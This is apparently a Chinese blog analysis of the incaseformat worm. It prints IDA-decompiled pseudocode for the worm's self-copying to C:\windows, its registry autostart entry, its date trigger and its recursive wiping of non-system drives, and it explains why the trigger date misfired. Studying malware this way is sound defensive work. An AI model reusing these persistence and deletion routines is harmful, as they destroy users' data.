愚人节病毒 ???

不同于熊猫烧香 彩虹猫 之前的钉_钉病毒,
2021年1月13号 incaseformat蠕虫病毒来袭,会自动复制到windows目录下,并写入注册表,重启电脑后,病毒会遍历除了系统盘外的所有磁盘进行删除。

ncurses代码 incaseformat代码_System

病毒检出率

ncurses代码 incaseformat代码_安全_02

病毒行为分析

PEID分析

ncurses代码 incaseformat代码_System_03

使用Borland Delphi 6.0 - 7.0 [Overlay]编写

先查看字符串信息

进行定位

ncurses代码 incaseformat代码_安全漏洞_04

危险函数相关代码

int TForm1_FormCreate()
{
  __writefsdword(0, (unsigned int)&v17);
  System::ParamStr(0);
  Sysutils::ExtractFilePath(v43);
  System::ParamStr(0);
  Sysutils::ExtractFileName(v40);
  v14 = unknown_libname_69(v41) - 4;
  System::ParamStr(0);
  Sysutils::ExtractFileName(v39);
  System::__linkproc__ LStrCopy(&v42);
  System::__linkproc__ LStrCat(&System::AnsiString, v42);
  if ( (unsigned __int8)Sysutils::DirectoryExists(System::AnsiString) )
  {
    System::ParamStr(0);
    Sysutils::ExtractFilePath(v37);
    System::ParamStr(0);
    Sysutils::ExtractFileName(v34);
    unknown_libname_69(v35);
    System::ParamStr(0);
    Sysutils::ExtractFileName(v33);
    System::__linkproc__ LStrCopy(&v36);
    System::__linkproc__ LStrCatN(&v38, 3, v0, v36, &str___16[1]);
    v1 = (const CHAR *)System::__linkproc__ LStrToPChar(v38);
    ShellExecuteA(0, 0, v1, 0, 0, 1);
  }
  if ( !(unsigned __int8)Sysutils::FileExists((const int)&str_C__windows_tsay[1]) )
  {
    System::ParamStr(0);
    v2 = (const CHAR *)System::__linkproc__ LStrToPChar(v32);
    CopyFileA(v2, "C:\\windows\\tsay.exe", -1);
    v3 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
    Registry::TRegistry::SetRootKey(v3, 0x80000002);
    LOBYTE(v4) = 1;
    Registry::TRegistry::OpenKey(v3, (const int)&str_SOFTWARE_Micros[1], v4);
    Registry::TRegistry::WriteString(v3, &str_msfsa[1], &str_C__windows_tsay[1]);
    Registry::TRegistry::CloseKey(v3);
    v5 = System::TObject::Free(v3);
    System::__linkproc__ Halt0(v5);
  }
  v16 = &savedregs;
  v15 = &loc_44F1A6;
  v14 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v14);
  System::ParamStr(0);
  v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v31);
  CopyFileA(v6, "C:\\windows\\tsay.exe", 0);
  __writefsdword(0, v14);
  v16 = &savedregs;
  v15 = &loc_44F20F;
  v14 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v14);
  v7 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
  Registry::TRegistry::SetRootKey(v7, 0x80000002);
  LOBYTE(v8) = 1;
  Registry::TRegistry::OpenKey(v7, (const int)&str_SOFTWARE_Micros[1], v8);
  Registry::TRegistry::WriteString(v7, &str_msfsa[1], &str_C__windows_tsay[1]);
  Registry::TRegistry::CloseKey(v7);
  System::TObject::Free(v7);
  __writefsdword(0, v14);
  System::ParamStr(0);
  Sysutils::UpperCase(v29);
  v16 = v30;
  Sysutils::UpperCase((const int)&str_C__windows_tsay[1]);
  System::__linkproc__ LStrCmp(v16, v28);
  if ( v9 )
  {
    v16 = &savedregs;
    v15 = &loc_44F2C5;
    v14 = __readfsdword(0);
    __writefsdword(0, (unsigned int)&v14);
    System::ParamStr(0);
    v11 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);
    CopyFileA(v11, "C:\\windows\\ttry.exe", 0);
    __writefsdword(0, v14);
    v12 = ShellExecuteA(0, 0, "C:\\windows\\ttry.exe", 0, 0, 0);
    System::__linkproc__ Halt0(v12);
  }
  System::ParamStr(0);
  Sysutils::UpperCase(v26);
  v16 = v27;
  Sysutils::UpperCase((const int)&str_C__windows_ttry[1]);
  v10 = System::__linkproc__ LStrCmp(v16, v25);
  if ( !v9 )
    System::__linkproc__ Halt0(v10);
  __writefsdword(0, v17);
  __writefsdword(0, (unsigned int)v21);
  v23 = &loc_44F32B;
  return System::__linkproc__ LStrArrayClr(&v24, 24);
}

其中 CopyFileA(v6, “C:\windows\tsay.exe”, 0);
与 CopyFileA(v11, “C:\windows\ttry.exe”, 0);
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, “C:\windows\ttry.exe”, 0, 0, 0);

会先进行判断文件是否存在,将其写入注册表设置为开机自启,并将程序拷贝到 C盘Windows下
ShellExecuteA函数是windows的API函数,功能是执行可执行文件(exe)或任何关联文件(doc、txt、xls等)。
ShellExecute是异步执行的,不管执行的程序是否成功运行,运行的时间是长是短,ShellExecute函数都会立即返回。即执行ttry.exe程序
之后定位下一个函数

int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, long double a2@<st0>)
{
  int v2; // edx@1
  int v3; // ebx@9
  signed int v4; // esi@10
  unsigned int v5; // edx@12
  unsigned int v7; // [sp-18h] [bp-44h]@1
  void *v8; // [sp-14h] [bp-40h]@1
  int *v9; // [sp-10h] [bp-3Ch]@1
  unsigned int v10; // [sp-Ch] [bp-38h]@1
  void *v11; // [sp-8h] [bp-34h]@1
  int *v12; // [sp-4h] [bp-30h]@1
  int v13; // [sp+Ch] [bp-20h]@1
  System::TObject *v14; // [sp+10h] [bp-1Ch]@1
  unsigned __int16 v15; // [sp+16h] [bp-16h]@1
  unsigned __int16 v16; // [sp+18h] [bp-14h]@1
  long double System::TDateTime; // [sp+1Ah] [bp-12h]@1
  int v18; // [sp+28h] [bp-4h]@1
  int savedregs; // [sp+2Ch] [bp+0h]@1

  v13 = 0;
  v18 = a1;
  v12 = &savedregs;
  v11 = &loc_44EFA1;
  v10 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v10);
  unknown_libname_426(*(_DWORD *)(a1 + 764), 0);
  v9 = &savedregs;
  v8 = &loc_44EF84;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  LOBYTE(v2) = 1;
  v14 = (System::TObject *)unknown_libname_42(cls_Classes_TStringList, v2);
  Sysutils::Now();
  *(double *)((char *)&System::TDateTime + 2) = a2;
  sub_44E5C8(&v14);
  Sysutils::DecodeDate(
    (const int)&System::TDateTime,
    &v16,
    &v15,
    *(unsigned __int16 **)((char *)&System::TDateTime + 2));
  if ( LOWORD(System::TDateTime) > 0x7D9u )
  {
    if ( v16 > 3u )
    {
      if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
      {
        v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
        if ( v3 > 0 )
        {
          v4 = 1;
          do
          {
            (*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
            sub_44EC70(v13);
            ++v4;
            --v3;
          }
          while ( v3 );
        }
      }
      System::TObject::Free(v14);
      v5 = v7;
      __writefsdword(0, v7);
      v9 = (int *)&loc_44EF8B;
      LOBYTE(v5) = 1;
      unknown_libname_426(*(_DWORD *)(v18 + 764), v5);
    }
    else
    {
      System::__linkproc__ TryFinallyExit(v7, v8, v9);
    }
  }
  else
  {
    System::__linkproc__ TryFinallyExit(v7, v8, v9);
  }
  __writefsdword(0, v10);
  v12 = (int *)&loc_44EFA8;
  return System::__linkproc__ LStrClr(&v13);
}

着重关注判断语句

ncurses代码 incaseformat代码_System_05

if ( LOWORD(System::TDateTime) > 2009u )

获取到系统时间,如果年份大于2009

if ( v16 > 3u )

如果月份大于3

if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )

如果日期等于1 或 等于10 或等于21 或等于29

就会触发 sub_44ec70

但是这段代码上方

ncurses代码 incaseformat代码_v9_06


会通过获取到当前时间之后,通过DecodeDate对时间进行处理

int __fastcall Sysutils::DecodeDate(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, int a4, unsigned __int16 *a5)
{
  unsigned __int16 v6; // [sp+6h] [bp-2h]@1

  return Sysutils::DecodeDateFully(System::TDateTime, a2, a3, a5, &v6);
}

具体算法如下:

int __fastcall Sysutils::DecodeDateFully(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 *a5)
{
  v20 = (unsigned __int16 *)System::TDateTime;
  Sysutils::DateTimeToTimeStamp(*(double *)&a4);
  if ( v14 > 0 )
  {
    *a5 = v14 % 7 + 1;
    v6 = v14 - 1;
    for ( i = 1; v6 >= 146097; i += 400 )
      v6 -= 146097;
    unknown_libname_101(&v17);
    if ( v15 == 4 )
    {
      v15 = 3;
      v17 -= 29012;
    }
    unknown_libname_101(&v17);
    v8 = 4 * v15 + 100 * v15 + i;
    unknown_libname_101(&v17);
    if ( v15 == 4 )
    {
      v15 = 3;
      v17 += 365;
    }
    v9 = v15 + v8;
    v10 = Sysutils::IsLeapYear(v9);
    v5 = v10;
    v11 = (char *)&unk_4500DC + 24 * (unsigned __int8)v10;
    for ( j = 1; ; ++j )
    {
      v16 = *(_WORD *)&v11[2 * (unsigned __int16)j - 2];
      if ( v17 < v16 )
        break;
      v17 -= v16;
    }
    *v20 = v9;
    *v19 = j;
    *v18 = v17 + 1;
  }
  else
  {
    *v20 = 0;
    *v19 = 0;
    *v18 = 0;
    *a5 = 0;
    v5 = 0;
  }
  return v5;
}

导致算法执行后的结构与预期不符,原本会是2010年4月1号愚人节启动,缺阴差阳错的成了2021年1月13号执行,那么下次就是1月23和2月4号
具体原因是DateTimeToTimeStamp这个函数中出现了变量异常

int __fastcall Sysutils::DateTimeToTimeStamp(int a1, int a2, int a3, double a4)
{
  int v4; // ecx@1
  unsigned __int64 v5; // rax@1
  int v6; // edx@2
  unsigned __int64 v7; // rtt@2
  int v8; // eax@2
  unsigned __int64 v9; // rt2@3
  int result; // eax@4

  v4 = a1;
  v5 = (signed __int64)(a4 * flt_45017C);
  if ( SHIDWORD(v5) >= 0 )
  {
    v9 = v5 % (unsigned int)dword_450180;
    v8 = v5 / (unsigned int)dword_450180;
    v6 = v9;
  }
  else
  {
    LODWORD(v5) = -(signed int)v5;
    LODWORD(v7) = v5;
    HIDWORD(v7) = -HIDWORD(v5) - ((_DWORD)v5 != 0);
    v6 = v7 % (unsigned int)dword_450180;
    v8 = -(signed int)(v7 / (unsigned int)dword_450180);
  }
  result = v8 + 693594;
  *(_DWORD *)v4 = v6;
  *(_DWORD *)(v4 + 4) = result;
  return result;
}

这里的dword_450180 按照设计者最初的设想,其时间戳转日的值应该是 86400000ms 而这里是94854340

ncurses代码 incaseformat代码_v9_07

导致计算出的数值错误。
接下来看,程序对硬盘的操作

char __fastcall sub_44EC70(int a1)
{
   System::__linkproc__ LStrAddRef();
  unknown_libname_74(&FatTime, &byte_406E1C);
  v9 = &savedregs;
  v8 = &loc_44EE40;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  v6 = &savedregs;
  v5 = &loc_44EDF7;
  v4 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v4);
  v1 = unknown_libname_69(v18);
  if ( *(_BYTE *)(v18 + v1 - 1) != 92 )
    System::__linkproc__ LStrCat(&v18, &str___15[1]);
  System::__linkproc__ LStrCat3(&v16, v18, &str_____0[1]);
  if ( !Sysutils::FindFirst(v16, 63, &FatTime) )
  {
    do
    {
      System::__linkproc__ LStrCmp(v15, &str___2[1]);
      if ( !v2 )
      {
        System::__linkproc__ LStrCmp(v15, &str____0[1]);
        if ( !v2 )
        {
          if ( v14 & 0x10 )
          {
            System::__linkproc__ LStrCat3(&v12, v18, v15);
            if ( !(unsigned __int8)sub_44EC70(v12) )
              v17 = 0;
          }
          else
          {
            System::__linkproc__ LStrCat3(&System::AnsiString, v18, v15);
            Sysutils::FileSetAttr(System::AnsiString, 0);
            System::__linkproc__ LStrCat3(&v10, v18, v15);
            Sysutils::DeleteFile(v10);
          }
        }
      }
    }
    while ( !Sysutils::FindNext(&FatTime) );
    Sysutils::FindClose(&FatTime);
  }
  Sysutils::FileSetAttr(v18, 0);
  v17 = (unsigned __int8)Sysutils::RemoveDir(v18) != 0;
  __writefsdword(0, v4);
  __writefsdword(0, v7);
  v9 = (int *)&loc_44EE47;
  System::__linkproc__ LStrArrayClr(&v10, 3);
  System::__linkproc__ FinalizeRecord(&FatTime, &byte_406E1C);
  System::__linkproc__ LStrClr(&v16);
  System::__linkproc__ LStrClr(&v18);
  return v17;
}

函数的主要功能是根据前缀路径 “.”匹配所有的文件,循环删除,遇到文件夹会进行递归删除

ncurses代码 incaseformat代码_安全_08

目前某招聘网站已被感染

网站存在文件上传漏洞,已经有病毒样本 2019年已被爆出 但目前依然可以下载

ncurses代码 incaseformat代码_v9_09


ncurses代码 incaseformat代码_ncurses代码_10

下载后的样本 与原病毒样本对比

ncurses代码 incaseformat代码_v9_11

使用IDA进行查看

ncurses代码 incaseformat代码_ncurses代码_12

可以确定为同一病毒
其病毒行为与原病毒行为一样
程序的图标同Windows的文件夹,错误点击后可能会弹窗报错,Windows7 测试,未报错。

ncurses代码 incaseformat代码_v9_13

电脑重启前

ncurses代码 incaseformat代码_System_14

重启后 发现E盘占用空间依然有,但是文件以及没有了

ncurses代码 incaseformat代码_v9_15

windows7下出现的一些问题

ncurses代码 incaseformat代码_System_16

PCHunter打开

ncurses代码 incaseformat代码_安全漏洞_17

能看到其运行的进程 ,原有执行文件已经消失

这个病毒对我没有危害: 因为我Windows只有C盘,个人感觉 固态硬盘 分区的意义好像不大

最后 一张图收尾 :

ncurses代码 incaseformat代码_安全_18